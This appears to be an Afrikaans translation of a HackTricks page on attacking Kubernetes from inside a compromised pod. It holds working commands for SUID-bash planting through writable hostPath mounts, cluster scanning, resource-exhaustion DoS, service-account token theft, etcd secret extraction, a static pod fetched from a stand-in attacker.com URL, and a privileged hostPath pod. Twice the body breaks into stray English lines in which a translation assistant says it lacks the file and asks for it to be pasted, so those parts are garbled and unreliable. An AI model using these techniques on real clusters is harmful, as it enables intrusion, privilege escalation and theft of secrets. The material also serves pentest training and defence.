# Aanval op Kubernetes van binne 'n Pod

{{#include ../../banners/hacktricks-training.md}}

## **Pod Breakout**

**As jy genoeg geluk het, kan jy dalk daaruit ontsnap na die node:**

![](https://sickrov.github.io/media/Screenshot-161.jpg)

### Ontsnap uit die pod

Om te probeer ontsnap uit die pods moet jy dalk eers **escalate privileges**, sommige tegnieke om dit te doen:

{{#ref}}
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html
{{#endref}}

Jy kan hierdie **docker breakouts to try to escape** nagaan om uit 'n pod wat jy gekompromitteer het te ontsnap:

{{#ref}}
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/index.html
{{#endref}}

### Abusing writable hostPath/bind mounts (container -> host root via SUID planting)

As 'n gekompromitteerde pod/container 'n skryfbare volume het wat direk na die host filesystem map (Kubernetes hostPath of Docker bind mount), en jy kan root binne die container word, kan jy die mount benut om 'n setuid-root binary op die host te skep en dit op die host uit te voer om root te kry.

Belangrike voorwaardes:
- Die gemounte volume is skryfbaar van binne die container (readOnly: false en filesystem permissions laat skryf toe).
- Die host filesystem wat die mount ondersteun, is nie gemount met die nosuid opsie nie.
- Jy het 'n manier om die geplantte binary op die host uit te voer (byvoorbeeld afsonderlike SSH/RCE op die host, 'n gebruiker op die host kan dit uitvoer, of 'n ander vektor wat binaries vanaf daardie pad uitvoer).

Hoe om skryfbare hostPath/bind mounts te identifiseer:
- Met kubectl, kyk vir hostPath volumes: kubectl get pod <pod> -o jsonpath='{.spec.volumes[*].hostPath.path}'
- Van binne die container, lys mounts en kyk vir host-path mounts en toets skryfbaarheid:
```bash
# Inside the compromised container
mount | column -t
cat /proc/self/mountinfo | grep -E 'host-path|kubernetes.io~host-path' || true
findmnt -T / 2>/dev/null | sed -n '1,200p'
# Test if a specific mount path is writable
TEST_DIR=/var/www/html/some-mount  # replace with your suspected mount path
[ -d "$TEST_DIR" ] && [ -w "$TEST_DIR" ] && echo "writable: $TEST_DIR"
# Quick practical test
printf "ping\n" > "$TEST_DIR/.w"
```
Plant 'n setuid root binary vanaf die container:
```bash
# As root inside the container, copy a static shell (or /bin/bash) into the mounted path and set SUID/SGID
MOUNT="/var/www/html/survey"   # path inside the container that maps to a host directory
cp /bin/bash "$MOUNT/suidbash"
chmod 6777 "$MOUNT/suidbash"
ls -l "$MOUNT/suidbash"
# -rwsrwsrwx 1 root root 1234376 ... /var/www/html/survey/suidbash
```
Voer op die host uit om root te kry:
```bash
# On the host, locate the mapped path (e.g., from the Pod spec .spec.volumes[].hostPath.path or by prior enumeration)
# Example host path: /opt/limesurvey/suidbash
ls -l /opt/limesurvey/suidbash
/opt/limesurvey/suidbash -p   # -p preserves effective UID 0 in bash
```
Notes and troubleshooting:
- As die host-mount nosuid het, sal setuid-bits geïgnoreer word. Kontroleer mount-opsies op die host (cat /proc/mounts | grep <mountpoint>) en kyk vir nosuid.
- As jy nie 'n host-uitvoeringspad kan kry nie, kan soortgelyke skryfbare mounts misbruik word om ander persistence/priv-esc artefakte op die host te skryf as die gemapte gids sekuriteitskrities is (bv., voeg 'n root SSH key by as die mount na /root/.ssh gemap is, los 'n cron/systemd unit neer as dit na /etc gemap is, vervang 'n root-eienaarskap-binary in PATH wat die host sal uitvoer, ens.). Die uitvoerbaarheid hang heeltemal af van watter pad gemap is.
- Hierdie tegniek werk ook met gewone Docker bind mounts; in Kubernetes is dit tipies 'n hostPath volume (readOnly: false) of 'n verkeerd geskaalde subPath.

### Abusing Kubernetes Privileges

Soos verduidelik in die afdeling oor **kubernetes enumeration**:

{{#ref}}
kubernetes-enumeration.md
{{#endref}}

Gewoonlik word die pods met 'n **service account token** binne-in hulle uitgevoer. Hierdie service account mag sekere **privileges** hê wat jy kan **abuse** om na ander pods te **move** of selfs te **escape** na die nodes binne die cluster. Kyk hoe in:

{{#ref}}
abusing-roles-clusterroles-in-kubernetes/
{{#endref}}

### Abusing Cloud Privileges

As die pod binne 'n **cloud environment** loop, mag jy 'n leak a token vanaf die metadata endpoint kry en daarmee privileges eskaleer.

## Search vulnerable network services

Aangesien jy binne die Kubernetes-omgewing is, as jy nie privileges kan eskaleer deur die huidige pod se privileges te abuse en jy nie uit die container kan escape nie, moet jy **potensieel kwesbare dienste soek.**

### Services

**Vir hierdie doel kan jy probeer om al die services van die kubernetes-omgewing te kry:**
```
kubectl get svc --all-namespaces
```
Standaard gebruik Kubernetes 'n plat netwerk-skema, wat beteken **dat enige pod/service binne die cluster met ander kan kommunikeer**. Die **namespaces** binne die cluster **het standaard geen netwerk-sekuriteitsbeperkings nie**. Enigiemand in die namespace kan met ander namespaces kommunikeer.

### Skandering

Die volgende Bash-skrip (geneem vanaf 'n [Kubernetes workshop](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md)) sal die IP-reekse van die Kubernetes cluster installeer en skandeer:
```bash
sudo apt-get update
sudo apt-get install nmap
nmap-kube ()
{
nmap --open -T4 -A -v -Pn -p 80,443,2379,8080,9090,9100,9093,4001,6782-6784,6443,8443,9099,10250,10255,10256 "${@}"
}

nmap-kube-discover () {
local LOCAL_RANGE=$(ip a | awk '/eth0$/{print $2}' | sed 's,[0-9][0-9]*/.*,*,');
local SERVER_RANGES=" ";
SERVER_RANGES+="10.0.0.1 ";
SERVER_RANGES+="10.0.1.* ";
SERVER_RANGES+="10.*.0-1.* ";
nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
}
nmap-kube-discover
```
Check out the following page to learn how you could **attack Kubernetes specific services** to **compromise other pods/all the environment**:

{{#ref}}
pentesting-kubernetes-services/
{{#endref}}

### Sniffing

Indien die **compromised pod is running some sensitive service** waar ander pods moet verifieer, kan jy dalk die credentials wat vanaf die ander pods gestuur word verkry deur **sniffing local communications**.

## Network Spoofing

By default werk tegnieke soos **ARP spoofing** (en as gevolg daarvan **DNS Spoofing**) in die kubernetes network. Binne 'n pod, as jy die **NET_RAW capability** het (wat standaard teenwoordig is), sal jy in staat wees om pasgemaakte netwerkpakkette te stuur en **MitM attacks via ARP Spoofing to all the pods running in the same node.**\
Verder, as die **malicious pod** op die **same node as the DNS Server** loop, sal jy in staat wees om 'n **DNS Spoofing attack to all the pods in cluster** uit te voer.

{{#ref}}
kubernetes-network-attacks.md
{{#endref}}

## Node DoS

Daar is geen spesifikasie van resources in die Kubernetes manifests en **not applied limit** ranges vir die containers nie. As 'n attacker, kan ons **consume all the resources where the pod/deployment running** en ander resources uithonger en 'n DoS vir die omgewing veroorsaak.

This can be done with a tool such as [**stress-ng**](https://zoomadmin.com/HowToInstall/UbuntuPackage/stress-ng):
```
stress-ng --vm 2 --vm-bytes 2G --timeout 30s
```
Jy kan die verskil sien tussen terwyl `stress-ng` aan die gang was en daarna
```bash
kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx
```
## Node Post-Exploitation

As jy daarin geslaag het om **escape from the container** sal jy 'n paar interessante dinge op die node vind:

- Die **Container Runtime** proses (Docker)
- Meer **pods/containers** wat op die node loop wat jy kan misbruik soos hierdie een (meer tokens)
- Die hele **filesystem** en **OS** oor die algemeen
- Die **Kube-Proxy** diens wat luister
- Die **Kubelet** diens wat luister. Kyk na konfigurasielêers:
- Directory: `/var/lib/kubelet/`
- `/var/lib/kubelet/kubeconfig`
- `/var/lib/kubelet/kubelet.conf`
- `/var/lib/kubelet/config.yaml`
- `/var/lib/kubelet/kubeadm-flags.env`
- `/etc/kubernetes/kubelet-kubeconfig`
- `/etc/kubernetes/admin.conf` --> `kubectl --kubeconfig /etc/kubernetes/admin.conf get all -n kube-system`
- Ander **kubernetes algemene lêers**:
- `$HOME/.kube/config` - **Gebruikerkonfigurasie**
- `/etc/kubernetes/kubelet.conf`- **Gereelde Konfigurasie**
- `/etc/kubernetes/bootstrap-kubelet.conf` - **Bootstrap-konfigurasie**
- `/etc/kubernetes/manifests/etcd.yaml` - **etcd-konfigurasie**
- `/etc/kubernetes/pki` - **Kubernetes-sleutel**

### Vind node kubeconfig

As jy die kubeconfig-lêer nie in een van die hierbo genoemde paadjies kan vind nie, **kontroleer die argument `--kubeconfig` van die kubelet-proses**:
```
ps -ef | grep kubelet
root        1406       1  9 11:55 ?        00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal
```
### Steel Geheime
```bash
# Check Kubelet privileges
kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system

# Steal the tokens from the pods running in the node
# The most interesting one is probably the one of kube-system
ALREADY="IinItialVaaluE"
for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do
TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/'))
if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then
ALREADY="$ALREADY|$TOKEN"
echo "Directory: $i"
echo "Namespace: $(cat $i)"
echo ""
echo $TOKEN
echo "================================================================================"
echo ""
fi
done
```
Die skrip [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) sal outomaties **kry die tokens van ander pods en kontroleer of hulle die permission het** wat jy soek (in plaas daarvan dat jy een-vir-een kyk):
```bash
./can-they.sh -i "--list -n default"
./can-they.sh -i "list secrets -n kube-system"// Some code
```
### Privileged DaemonSets

'n DaemonSet is 'n **pod** wat in **alle nodes van die cluster** uitgevoer sal word. Daarom, as 'n DaemonSet gekonfigureer is met 'n **privileged service account,** gaan jy in **ALLE nodes** die **token** van daardie **privileged service account** kan vind wat jy kan misbruik.

### Pivot to Cloud

As die cluster deur 'n cloud service bestuur word, het die **Node gewoonlik 'n ander toegang tot die metadata endpoint** as die Pod. Probeer dus om die **metadata endpoint vanaf die node te benader** (of vanaf 'n pod met hostNetwork op True):

{{#ref}}
kubernetes-pivoting-to-clouds.md
{{#endref}}

### Steel etcd

As jy die [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node) van die Node wat die container gaan laat loop kan spesifiseer, kry 'n shell binne 'n control-plane node en haal die **etcd database**:
```
kubectl get nodes
NAME                STATUS   ROLES    AGE   VERSION
k8s-control-plane   Ready    master   93d   v1.19.1
k8s-worker          Ready    <none>   93d   v1.19.1
```
control-plane nodes het die **role master** en in **cloud managed clusters you won't be able to run anything in them**.

#### Lees secrets vanaf etcd 1

As jy jou pod op 'n control-plane node kan laat loop deur die `nodeName` selector in die pod spec te gebruik, mag jy maklike toegang hê tot die `etcd` database, wat al die konfigurasie vir die cluster bevat, insluitend alle secrets.

Hieronder is 'n vinnige en growwe manier om secrets van die `etcd` te gryp as dit op die control-plane node waarop jy is aan die gang is. As jy 'n meer elegante oplossing wil hê wat 'n pod opstart met die `etcd` client utility `etcdctl` en die control-plane node se credentials gebruik om te verbind met etcd waar dit ook al loop, kyk na [this example manifest](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) van @mauilion.

**Kyk of `etcd` op die control-plane node aan die gang is en sien waar die databasis is (Dit is op 'n `kubeadm` created cluster)**
```
root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir
```
I don’t have access to your repository. Please paste the markdown content of src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md here (or upload the file). I will translate the relevant English text to Afrikaans following your rules.
```bash
data-dir=/var/lib/etcd
```
**Bekyk die data in die etcd-databasis:**
```bash
strings /var/lib/etcd/member/snap/db | less
```
**Haal die tokens uit die databasis en wys die service account name**
```bash
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done
```
**Dieselfde opdrag, maar 'n paar greps om slegs die default token in die kube-system namespace terug te gee**
```bash
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default
```
I don't have the file content — please paste the text from src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md that you want translated to Afrikaans.
```
1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]
```
#### Lees geheime uit etcd 2 [from here](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android)

1. Skep 'n snapshot van die **`etcd`** databasis. Kyk na [**this script**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160) vir verdere inligting.
2. Dra die **`etcd`** snapshot uit die node oor op jou voorkeur manier.
3. Pak die databasis uit:
```bash
mkdir -p restore ; etcdutl snapshot restore etcd-loot-backup.db \ --data-dir ./restore
```
4. Begin **`etcd`** op jou plaaslike masjien en laat dit die gesteelde snapshot gebruik:
```bash
etcd \ --data-dir=./restore \ --initial-cluster=state=existing \ --snapshot='./etcd-loot-backup.db'

```
5. Lys al die secrets:
```bash
etcdctl get "" --prefix --keys-only | grep secret
```
6. Kry die geheime:
```bash
etcdctl get /registry/secrets/default/my-secret
```
### Static/Mirrored Pods Persistensie

_Static Pods_ word direk bestuur deur die kubelet daemon op 'n spesifieke node, sonder dat die API server dit dophou. Anders as Pods wat deur die control plane bestuur word (byvoorbeeld 'n Deployment); in plaas daarvan **kyk die kubelet na elke static Pod** (en herbegin dit as dit faal).

Daarom is static Pods altyd **gebind aan een Kubelet** op 'n spesifieke node.

Die **kubelet probeer outomaties 'n mirror Pod op die Kubernetes API server skep** vir elke static Pod. Dit beteken dat die Pods wat op 'n node loop sigbaar is op die API server, maar nie van daaruit beheer kan word nie. Die Pod-name sal met die node hostname nagesit wees met 'n vooraangestelde koppelteken.

> [!CAUTION]
> Die **`spec` van 'n static Pod kan nie na ander API objects verwys nie** (bv. ServiceAccount, ConfigMap, Secret, ens.). Dus **kan jy hierdie gedrag nie misbruik om 'n pod met 'n arbitrêre serviceAccount** op die huidige node te begin om die cluster te kompromitteer nie. Maar jy kan dit gebruik om pods in ander namespaces te laat loop (indien dit om een of ander rede nuttig is).

As jy binne die node-host is, kan jy dit laat 'n **static pod in homself** skep. Dit is baie nuttig omdat dit jou moontlik toelaat om 'n **pod in 'n ander namespace** soos **kube-system** te skep.

Om 'n static pod te skep, is die [**docs are a great help**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/). Jy benodig basies 2 dinge:

- Konfigureer die parameter **`--pod-manifest-path=/etc/kubernetes/manifests`** in die **kubelet service**, of in die **kubelet config** ([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/index.html#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)) en herbegin die diens
- Skep die definisie as die **pod definition** in **`/etc/kubernetes/manifests`**

**Nog 'n meer stealth manier sou wees om:**

- Wysig die parameter **`staticPodURL`** in die **kubelet** konfigurasielêer en stel iets soos `staticPodURL: http://attacker.com:8765/pod.yaml`. Dit sal die kubelet-proses veroorsaak om 'n **static pod** te skep wat die **konfigurasie vanaf die aangeduide URL** kry.

**Voorbeeld** van **pod** konfigurasie om 'n privilege pod in **kube-system** te skep geneem van [**here**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/):
```yaml
apiVersion: v1
kind: Pod
metadata:
name: bad-priv2
namespace: kube-system
spec:
containers:
- name: bad
hostPID: true
image: gcr.io/shmoocon-talk-hacking/brick
stdin: true
tty: true
imagePullPolicy: IfNotPresent
volumeMounts:
- mountPath: /chroot
name: host
securityContext:
privileged: true
volumes:
- name: host
hostPath:
path: /
type: Directory
```
### Verwyder pods + nie-skeduleerbare nodes

As 'n aanvaller **compromised a node** het en hy kan **delete pods** van ander nodes verwyder en **make other nodes not able to execute pods**, sal die pods op die gekompromitteerde node weer uitgevoer word en hy sal in staat wees om die **tokens** wat daarin loop te steel.\
For [**more info follow this links**](abusing-roles-clusterroles-in-kubernetes/index.html#delete-pods-+-unschedulable-nodes).

## Outomatiese gereedskap

- [**https://github.com/inguardians/peirates**](https://github.com/inguardians/peirates)
```
Peirates v1.1.8-beta by InGuardians
https://www.inguardians.com/peirates
----------------------------------------------------------------
[+] Service Account Loaded: Pod ns::dashboard-56755cd6c9-n8zt9
[+] Certificate Authority Certificate: true
[+] Kubernetes API Server: https://10.116.0.1:443
[+] Current hostname/pod name: dashboard-56755cd6c9-n8zt9
[+] Current namespace: prd
----------------------------------------------------------------
Namespaces, Service Accounts and Roles |
---------------------------------------+
[1] List, maintain, or switch service account contexts [sa-menu]  (try: listsa *, switchsa)
[2] List and/or change namespaces [ns-menu] (try: listns, switchns)
[3] Get list of pods in current namespace [list-pods]
[4] Get complete info on all pods (json) [dump-pod-info]
[5] Check all pods for volume mounts [find-volume-mounts]
[6] Enter AWS IAM credentials manually [enter-aws-credentials]
[7] Attempt to Assume a Different AWS Role [aws-assume-role]
[8] Deactivate assumed AWS role [aws-empty-assumed-role]
[9] Switch authentication contexts: certificate-based authentication (kubelet, kubeproxy, manually-entered) [cert-menu]
-------------------------+
Steal Service Accounts   |
-------------------------+
[10] List secrets in this namespace from API server [list-secrets]
[11] Get a service account token from a secret [secret-to-sa]
[12] Request IAM credentials from AWS Metadata API [get-aws-token] *
[13] Request IAM credentials from GCP Metadata API [get-gcp-token] *
[14] Request kube-env from GCP Metadata API [attack-kube-env-gcp]
[15] Pull Kubernetes service account tokens from kops' GCS bucket (Google Cloudonly) [attack-kops-gcs-1]  *
[16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [attack-kops-aws-1]
--------------------------------+
Interrogate/Abuse Cloud API's   |
--------------------------------+
[17] List AWS S3 Buckets accessible (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls]
[18] List contents of an AWS S3 Bucket (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls-objects]
-----------+
Compromise |
-----------+
[20] Gain a reverse rootshell on a node by launching a hostPath-mounting pod [attack-pod-hostpath-mount]
[21] Run command in one or all pods in this namespace via the API Server [exec-via-api]
[22] Run a token-dumping command in all pods via Kubelets (authorization permitting) [exec-via-kubelet]
-------------+
Node Attacks |
-------------+
[30] Steal secrets from the node filesystem [nodefs-steal-secrets]
-----------------+
Off-Menu         +
-----------------+
[90] Run a kubectl command using the current authorization context [kubectl [arguments]]
[] Run a kubectl command using EVERY authorization context until one works [kubectl-try-all [arguments]]
[91] Make an HTTP request (GET or POST) to a user-specified URL [curl]
[92] Deactivate "auth can-i" checking before attempting actions [set-auth-can-i]
[93] Run a simple all-ports TCP port scan against an IP address [tcpscan]
[94] Enumerate services via DNS [enumerate-dns] *
[]  Run a shell command [shell <command and arguments>]

[exit] Exit Peirates
```
- [**https://github.com/r0binak/MTKPI**](https://github.com/r0binak/MTKPI)

## Verwysings

- [Forgotten (HTB) - Writable bind mount SUID planting](https://0xdf.gitlab.io/2025/09/16/htb-forgotten.html)
- [Kubernetes hostPath volume](https://kubernetes.io/docs/concepts/storage/volumes/#hostpath)
- [Docker bind mounts](https://docs.docker.com/storage/bind-mounts/)
- [Bash -p (preserve privileges)](https://www.gnu.org/software/bash/manual/bash.html#Invoking-Bash)
- [mount(8) nosuid option](https://man7.org/linux/man-pages/man8/mount.8.html)
- [Peirates (Kubernetes attack tool)](https://github.com/inguardians/peirates)

{{#include ../../banners/hacktricks-training.md}}
